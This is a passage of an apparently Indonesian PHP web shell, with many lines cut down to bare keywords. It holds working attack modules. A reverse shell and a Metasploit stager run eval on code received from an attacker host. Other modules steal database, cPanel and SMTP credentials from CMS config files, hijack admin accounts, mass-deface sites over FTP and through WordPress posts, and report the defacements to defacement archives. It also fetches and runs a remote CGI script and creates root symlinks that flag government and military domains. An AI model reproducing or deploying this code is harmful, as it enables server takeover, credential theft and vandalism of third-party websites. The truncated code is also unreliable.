1451. $s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
1452. echo
1453. if ($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
1454. if
1455. if
1456. if
1457. if
1458. umask
1459. $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
1460. $process = proc_open($shell, $descriptorspec, $pipes);
1461. if
1462. stream_set_blocking
1463. stream_set_blocking
1464. stream_set_blocking
1465. stream_set_blocking
1466. while
1467. if
1468. if
1469. if
1470. } elseif($_GET['do'] == 'auto_edit_user') {
1471. if
1472. if
1473. echo "username atau password harus lebih dari 6 karakter"
1474. } else {
1475. $user_baru = $_POST['user_baru'];
1476. $pass_baru = md5($_POST['pass_baru']);
1477. $conf = $_POST['config_dir'];
1478. $scan_conf = scandir($conf);
1479. foreach
1480. if
1481. $config = file_get_contents("$conf/$file_conf");
1482. if
1483. $dbhost = ambilkata($config,"host = '","'");
1484. $dbuser = ambilkata($config,"user = '","'");
1485. $dbpass = ambilkata($config,"password = '","'");
1486. $dbname = ambilkata($config,"db = '","'");
1487. $dbprefix = ambilkata($config,"dbprefix = '","'");
1488. $prefix = $dbprefix."users";
1489. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1490. $db = mysql_select_db($dbname);
1491. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
1492. $result = mysql_fetch_array($q);
1493. $id = $result['id'];
1494. $site = ambilkata($config,"sitename = '","'");
1495. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
1496. echo "Config => " .
1497. echo "CMS => Joomla<br>"
1498. if
1499. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>"
1500. } else {
1501. echo "Sitename => $site<br>"
1502. }
1503. if
1504. echo "Status => <font color=red>" .mysql_error
1505. } else {
1506. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>"
1507. }
1508. mysql_close
1509. } elseif(preg_match("/WordPress/",$config)) {
1510. $dbhost = ambilkata($config,"DB_HOST', '","'");
1511. $dbuser = ambilkata($config,"DB_USER', '","'");
1512. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
1513. $dbname = ambilkata($config,"DB_NAME', '","'");
1514. $dbprefix = ambilkata($config,"table_prefix = '","'");
1515. $prefix = $dbprefix."users";
1516. $option = $dbprefix."options";
1517. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1518. $db = mysql_select_db($dbname);
1519. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
1520. $result = mysql_fetch_array($q);
1521. $id = $result[ID];
1522. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
1523. $result2 = mysql_fetch_array($q2);
1524. $target = $result2[option_value];
1525. if
1526. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
1527. } else {
1528. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
1529. }
1530. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
1531. echo "Config => " .
1532. echo "CMS => Wordpress<br>"
1533. echo
1534. if
1535. echo "Status => <font color=red>" .mysql_error
1536. } else {
1537. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>"
1538. }
1539. mysql_close
1540. } elseif(preg_match("/Magento|Mage_Core/",$config)) {
1541. $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
1542. $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
1543. $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
1544. $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
1545. $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
1546. $prefix = $dbprefix."admin_user";
1547. $option = $dbprefix."core_config_data";
1548. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1549. $db = mysql_select_db($dbname);
1550. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
1551. $result = mysql_fetch_array($q);
1552. $id = $result[user_id];
1553. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
1554. $result2 = mysql_fetch_array($q2);
1555. $target = $result2[value];
1556. if
1557. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
1558. } else {
1559. $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
1560. }
1561. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
1562. echo "Config => " .
1563. echo "CMS => Magento<br>"
1564. echo
1565. if
1566. echo "Status => <font color=red>" .mysql_error
1567. } else {
1568. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>"
1569. }
1570. mysql_close
1571. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
1572. $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
1573. $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
1574. $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
1575. $dbname = ambilkata($config,"'DB_DATABASE', '","'");
1576. $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
1577. $prefix = $dbprefix."user";
1578. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1579. $db = mysql_select_db($dbname);
1580. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
1581. $result = mysql_fetch_array($q);
1582. $id = $result[user_id];
1583. $target = ambilkata($config,"HTTP_SERVER', '","'");
1584. if
1585. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
1586. } else {
1587. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
1588. }
1589. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
1590. echo "Config => " .
1591. echo "CMS => OpenCart<br>"
1592. echo
1593. if
1594. echo "Status => <font color=red>" .mysql_error
1595. } else {
1596. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>"
1597. }
1598. mysql_close
1599. } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
1600. $dbhost = ambilkata($config,'server = "','"');
1601. $dbuser = ambilkata($config,'username = "','"');
1602. $dbpass = ambilkata($config,'password = "','"');
1603. $dbname = ambilkata($config,'database = "','"');
1604. $prefix = "users";
1605. $option = "identitas";
1606. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1607. $db = mysql_select_db($dbname);
1608. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
1609. $result = mysql_fetch_array($q);
1610. $target = $result[alamat_website];
1611. if
1612. $target2 = $result[url];
1613. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
1614. if
1615. $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
1616. } else {
1617. $cek_login3 = file_get_contents("$target2/adminweb/");
1618. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
1619. if
1620. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
1621. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
1622. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
1623. } else {
1624. $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
1625. }
1626. }
1627. } else {
1628. $cek_login = file_get_contents("$target/adminweb/");
1629. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
1630. if
1631. $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
1632. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
1633. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
1634. } else {
1635. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
1636. }
1637. }
1638. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
1639. echo "Config => " .
1640. echo "CMS => Lokomedia<br>"
1641. if
1642. echo
1643. } else {
1644. echo
1645. }
1646. if
1647. echo "Status => <font color=red>" .mysql_error
1648. } else {
1649. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>"
1650. }
1651. mysql_close
1652. }
1653. }
1654. }
1655. } else {
1656. echo
1657. <h1>Auto Edit User Config</h1>
1658. <form method='post'>
1659. DIR Config
1660. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
1661. Set User
1662. <input type='text' name='user_baru' value='global' placeholder='user_baru'><br>
1663. <input type='text' name='pass_baru' value='global' placeholder='pass_baru'><br>
1664. <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
1665. </form>
1666. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
1667. ";
1668. }
1669. } elseif($_GET['do'] == 'cpanel') {
1670. if
1671. $usercp = explode(" ", $_POST['user_cp']);
1672. $passcp = explode(" ", $_POST['pass_cp']);
1673. $i = 0;
1674. foreach
1675. foreach
1676. if
1677. if
1678. } else {
1679. $_SESSION[$ucp] = "1";
1680. $_SESSION[$pcp] = "1";
1681. if
1683. } else {
1684. $i++;
1685. if
1686. $domain_cp = file_get_contents("/etc/named.conf");
1687. if
1688. $dom = "<font color=red>gabisa ambil nama domain nya</font>";
1689. } else {
1690. preg_match_all
1691. foreach
1692. $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
1693. $user_cp_url = $user_cp_url['name'];
1694. if
1695. $dom = "<a href='http://$dj/' target='_blank'><font color=lime>$dj</font></a>";
1696. break
1697. }
1698. }
1699. }
1700. } else {
1701. $dom = "<font color=red>function is Disable by system</font>";
1702. }
1703. echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>) domain ($dom)<br>"
1704. }
1705. }
1706. }
1707. }
1708. }
1709. if
1710. } else {
1711. echo "<br>sukses nyolong " .
1712. }
1713. } else {
1714. echo
1715. <form method='post'>
1716. user
1717. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
1718. $_usercp = fopen("/etc/passwd","r");
1719. while
1720. if
1721. echo "<font color=red>Can't read /etc/passwd</font>"
1722. } else {
1723. preg_match_all
1724. foreach
1725. if
1726. echo
1727. }
1728. }
1729. }
1730. }
1731. echo
1732. PASS
1733. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
1734. function cp_pass
1735. $pass = "";
1736. $dira = scandir($dir);
1737. foreach
1738. if
1739. $ambil = file_get_contents("$dir/$dirb");
1740. if
1741. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")." ";
1742. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
1743. $pass .= ambilkata($ambil,"password = '","'")." ";
1744. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
1745. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")." ";
1746. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
1747. $pass .= ambilkata($ambil,'password = "','"')." ";
1748. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
1749. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")." ";
1750. } elseif(preg_match("/^[client]$/", $ambil)) {
1751. preg_match
1752. if
1753. $pass1[1] = str_replace('"', "", $pass1[1]);
1754. $pass .= $pass1[1]." ";
1755. } else {
1756. $pass .= $pass1[1]." ";
1757. }
1758. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
1759. $pass .= ambilkata($ambil,"db_password = '","'")." ";
1760. }
1761. }
1762. echo
1763. }
1764. $cp_pass = cp_pass($dir);
1765. echo
1766. echo
1767. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
1768. </form>
1769. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
1770. }
1771. } elseif($_GET['do'] == 'cpftp_auto') {
1772. if
1773. $usercp = explode(" ", $_POST['user_cp']);
1774. $passcp = explode(" ", $_POST['pass_cp']);
1775. $i = 0;
1776. foreach
1777. foreach
1778. if
1779. if
1780. } else {
1781. $_SESSION[$ucp] = "1";
1782. $_SESSION[$pcp] = "1";
1783. if
1784. //
1785. } else {
1786. echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>"
1787. $ftp_conn = ftp_connect($ip);
1788. $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
1789. if
1790. echo "[+] <font color=red>Login Gagal</font><br><br>"
1791. } else {
1792. echo "[+] <font color=lime>Login Sukses</font><br>"
1793. $fi = htmlspecialchars($_POST['file_deface']);
1794. $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
1795. if
1796. $i++;
1797. echo "[+] <font color=lime>Deface Sukses</font><br>"
1798. if
1799. $domain_cp = file_get_contents("/etc/named.conf");
1800. if
1801. echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>"
1802. } else {
1803. preg_match_all
1804. foreach
1805. $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
1806. $user_cp_url = $user_cp_url['name'];
1807. if
1808. echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>" ;
1809. break
1810. }
1811. }
1812. }
1813. } else {
1814. echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>"
1815. }
1816. } else {
1817. echo "[-] <font color=red>Deface Gagal</font><br><br>"
1818. }
1819. }
1820. //echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
1821. }
1822. }
1823. }
1824. }
1825. }
1826. if
1827. } else {
1828. echo "<br>sukses deface " .
1829. }
1830. } else {
1831. echo
1832. <form method='post'>
1833. Filename
1834. <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
1835. Deface Page
1836. <input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
1837. user
1838. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
1839. $_usercp = fopen("/etc/passwd","r");
1840. while
1841. if
1842. echo "<font color=red>Can't read /etc/passwd</font>"
1843. } else {
1844. preg_match_all
1845. foreach
1846. if
1847. echo
1848. }
1849. }
1850. }
1851. }
1852. echo
1853. PASS
1854. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
1855. function cp_pass
1856. $pass = "";
1857. $dira = scandir($dir);
1858. foreach
1859. if
1860. $ambil = file_get_contents("$dir/$dirb");
1861. if
1862. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")." ";
1863. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
1864. $pass .= ambilkata($ambil,"password = '","'")." ";
1865. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
1866. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")." ";
1867. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
1868. $pass .= ambilkata($ambil,'password = "','"')." ";
1869. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
1870. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")." ";
1871. } elseif(preg_match("/client/", $ambil)) {
1872. preg_match
1873. if
1874. $pass1[1] = str_replace('"', "", $pass1[1]);
1875. $pass .= $pass1[1]." ";
1876. }
1877. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
1878. $pass .= ambilkata($ambil,"db_password = '","'")." ";
1879. }
1880. }
1881. echo
1882. }
1883. $cp_pass = cp_pass($dir);
1884. echo
1885. echo
1886. <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
1887. </form>
1888. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
1889. }
1890. } elseif($_GET['do'] == 'smtp') {
1891. echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>"
1892. function scj
1893. $dira = scandir($dir);
1894. foreach
1895. if
1896. $ambil = file_get_contents("$dir/$dirb");
1897. $ambil = str_replace("$", "", $ambil);
1898. if
1899. $smtp_host = ambilkata($ambil,"smtphost = '","'");
1900. $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
1901. $smtp_user = ambilkata($ambil,"smtpuser = '","'");
1902. $smtp_pass = ambilkata($ambil,"smtppass = '","'");
1903. $smtp_port = ambilkata($ambil,"smtpport = '","'");
1904. $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
1905. echo "SMTP Host: <font color=lime>$smtp_host</font><br>"
1906. echo "SMTP port: <font color=lime>$smtp_port</font><br>"
1907. echo "SMTP user: <font color=lime>$smtp_user</font><br>"
1908. echo "SMTP pass: <font color=lime>$smtp_pass</font><br>"
1909. echo "SMTP auth: <font color=lime>$smtp_auth</font><br>"
1910. echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>"
1911. }
1912. }
1913. }
1914. $smpt_hunter = scj($dir);
1915. echo
1916. } elseif($_GET['do'] == 'auto_wp') {
1917. if
1918. $title = htmlspecialchars($_POST['new_title']);
1919. $pn_title = str_replace(" ", "-", $title);
1920. if
1921. $script = $_POST['edit_content'];
1922. } else {
1923. $script = $title;
1924. }
1925. $conf = $_POST['config_dir'];
1926. $scan_conf = scandir($conf);
1927. foreach
1928. if
1929. $config = file_get_contents("$conf/$file_conf");
1930. if
1931. $dbhost = ambilkata($config,"DB_HOST', '","'");
1932. $dbuser = ambilkata($config,"DB_USER', '","'");
1933. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
1934. $dbname = ambilkata($config,"DB_NAME', '","'");
1935. $dbprefix = ambilkata($config,"table_prefix = '","'");
1936. $prefix = $dbprefix."posts";
1937. $option = $dbprefix."options";
1938. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1939. $db = mysql_select_db($dbname);
1940. $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
1941. $result = mysql_fetch_array($q);
1942. $id = $result[ID];
1943. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
1944. $result2 = mysql_fetch_array($q2);
1945. $target = $result2[option_value];
1946. $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
1947. $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
1948. echo "<div style='margin: 5px auto;'>"
1949. if
1950. echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> "
1951. } else {
1952. echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> "
1953. }
1954. if
1955. echo "<font color=red>MySQL Error: " .mysql_error
1956. } else {
1957. echo "<font color=lime>sukses di ganti.</font><br>"
1958. }
1959. echo "</div>"
1960. mysql_close
1961. }
1962. }
1963. } else {
1964. echo
1965. <h1>Auto Edit Title+Content WordPress</h1>
1966. <form method='post'>
1967. DIR Config
1968. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
1969. Set Title
1970. <input type='text' name='new_title' value='Hacked by global network' placeholder='New Title'><br><br>
1971. Edit Content
1972. <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
1973. <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
1974. <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
1975. </form>
1976. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
1977. ";
1978. }
1979. }elseif($_GET['do'] == 'defacerid') {
1980. echo
1981. <u>Defacer</u>: <br>
1982. <input type='text' name='hekel' size='50' value='Fuck'><br>
1983. <u>Team</u>: <br>
1984. <input type='text' name='tim' size='50' value='Global Network'><br>
1985. <u>Domains</u>: <br>
1986. <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
1987. <input type='submit' name='go' value='Submit' style='width: 450px;'>
1988. </form>";
1989. $site = explode(" ", $_POST['sites']);
1990. $go = $_POST['go'];
1991. $hekel = $_POST['hekel'];
1992. $tim = $_POST['tim'];
1993. if
1994. foreach
1995. $zh = $sites;
1996. $form_url = "https://www.defacer.id/notify";
1997. $data_to_post = array();
1998. $data_to_post['attacker'] = "$hekel";
1999. $data_to_post['team'] = "$tim";
2000. $data_to_post['poc'] = 'SQL Injection';
2001. $data_to_post['url'] = "$zh";
2002. $curl = curl_init();
2003. curl_setopt
2004. curl_setopt
2005. curl_setopt ($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
2006. curl_setopt
2007. curl_setopt
2008. curl_setopt ($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
2009. $result = curl_exec($curl);
2010. echo
2011. curl_close
2012. echo "<br>"
2013. }
2014. }
2015. } elseif($_GET['do'] == 'zoneh') {
2016. if
2017. $domain = explode(" ", $_POST['url']);
2018. $nick = $_POST['nick'];
2019. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>" ;
2020. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>" ;
2021. function zoneh
2022. $ch = curl_init("http://www.zone-h.com/notify/single");
2023. curl_setopt
2024. curl_setopt
2025. curl_setopt
2026. return curl_exec
2027. curl_close
2028. }
2029. foreach
2030. $zoneh = zoneh($url,$nick);
2031. if
2032. echo "$url -> <font color=lime>OK</font><br>"
2033. } else {
2034. echo "$url -> <font color=red>ERROR</font><br>"
2035. }
2036. }
2037. } else {
2038. echo
2039. <u>Defacer</u>: <br>
2040. <input type='text' name='nick' size='50' value='Jonathan Miles'><br>
2041. <u>Domains</u>: <br>
2042. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
2043. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
2044. </form>";
2045. }
2046. echo "</center>"
2047. } elseif($_GET['do'] == 'cgi') {
2048. $cgi_dir = mkdir('idx_cgi', 0755);
2049. $file_cgi = "idx_cgi/cgi.izo";
2050. $isi_htcgi = "AddHandler cgi-script .izo";
2051. $htcgi = fopen(".htaccess", "w");
2052. $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
2053. $cgi = fopen($file_cgi, "w");
2054. fwrite
2055. fwrite
2056. chmod
2057. echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>"
2058. } elseif($_GET['do'] == 'fake_root') {
2059. ob_start
2060. $cwd = getcwd();
2061. $ambil_user = explode("/", $cwd);
2062. $user = $ambil_user[2];
2063. if
2064. $site = explode(" ", $_POST['url']);
2065. $file = $_POST['file'];
2066. foreach
2067. $cek = getsource("$url/~$user/$file");
2068. if
2069. echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>"
2070. }
2071. }
2072. } else {
2073. echo
2074. Filename
2075. user
2076. Domain
2077. <textarea style='width: 450px; height: 250px;' name='url'>";
2078. reverse
2079. echo
2080. <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
2081. </form><br>
2082. NB
2083. }
2084. } elseif($_GET['do'] == 'symlink') {
2086. @set_time_limit(0);
2088. echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>"
2090. @mkdir('sym',0777);
2091. $htaccess = "Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any";
2092. $write =@fopen ('sym/.htaccess','w');
2093. fwrite
2094. @symlink('/','sym/root');
2095. $filelocation = basename(__FILE__);
2096. $read_named_conf = @file('/etc/named.conf');
2097. if
2098. {
2099. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"
2100. }
2101. else
2102. {
2103. echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>"
2104. foreach
2105. if
2106. preg_match_all
2107. flush
2108. if
2109. $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
2110. $name = $UID['name'] ;
2111. @symlink('/','sym/root');
2112. $name = $string[1][0];
2113. $iran = '.ir';
2114. $israel = '.il';
2115. $indo = '.id';
2116. $sg12 = '.sg';
2117. $edu = '.edu';
2118. $gov = '.gov';
2119. $gose = '.go';
2120. $gober = '.gob';
2121. $mil1 = '.mil';
2122. $mil2 = '.mi';
2123. $malay = '.my';
2124. $china = '.cn';
2125. $japan = '.jp';
2126. $austr = '.au';
2127. $porn = '.xxx';
2128. $as = '.uk';
2129. $calfn = '.ca';
2131. if
2132. or eregi
2133. or eregi
2134. or eregi
2135. {
2136. $name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
2137. }
2138. echo
2139. <tr>
2141. <td>
2142. <div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
2143. </td>
2145. <td>
2146. '.$UID['name']."
2147. </td>
2149. <td>
2150. <a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
2151. </td>
2153. </tr></div> ";
2154. flush
2155. }
2156. }
2157. }
2158. }
2160. echo "</center></table>"
2162. }
2163. elseif
2164. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
2165. function adminer
2166. $fp = fopen($isi, "w");
2167. $ch = curl_init();
2168. curl_setopt
2169. curl_setopt
2170. curl_setopt
2171. curl_setopt
2172. curl_setopt
2173. return curl_exec
2174. curl_close
2175. fclose
2176. ob_flush
2177. flush
2178. }
2179. if
2180. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>"
2181. } else {
2182. if (adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
2183. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>"
2184. } else {
2185. echo "<center><font color=red>gagal buat file adminer</font></center>"
2186. }
2187. }
2188. } elseif($_GET['do'] == 'auto_dwp') {
2189. if
2190. function anucurl
2191. $ch = curl_init($sites);
2192. curl_setopt
2193. curl_setopt
2194. curl_setopt
2195. curl_setopt
2196. curl_setopt
2197. curl_setopt
2198. curl_setopt
2199. curl_setopt
2200. curl_setopt
2201. $data = curl_exec($ch);
2202. curl_close
2203. return
2204. }
2205. function lohgin
2206. $post = array(
2207. "log" => "$userr",
2208. "pwd" => "$pass",
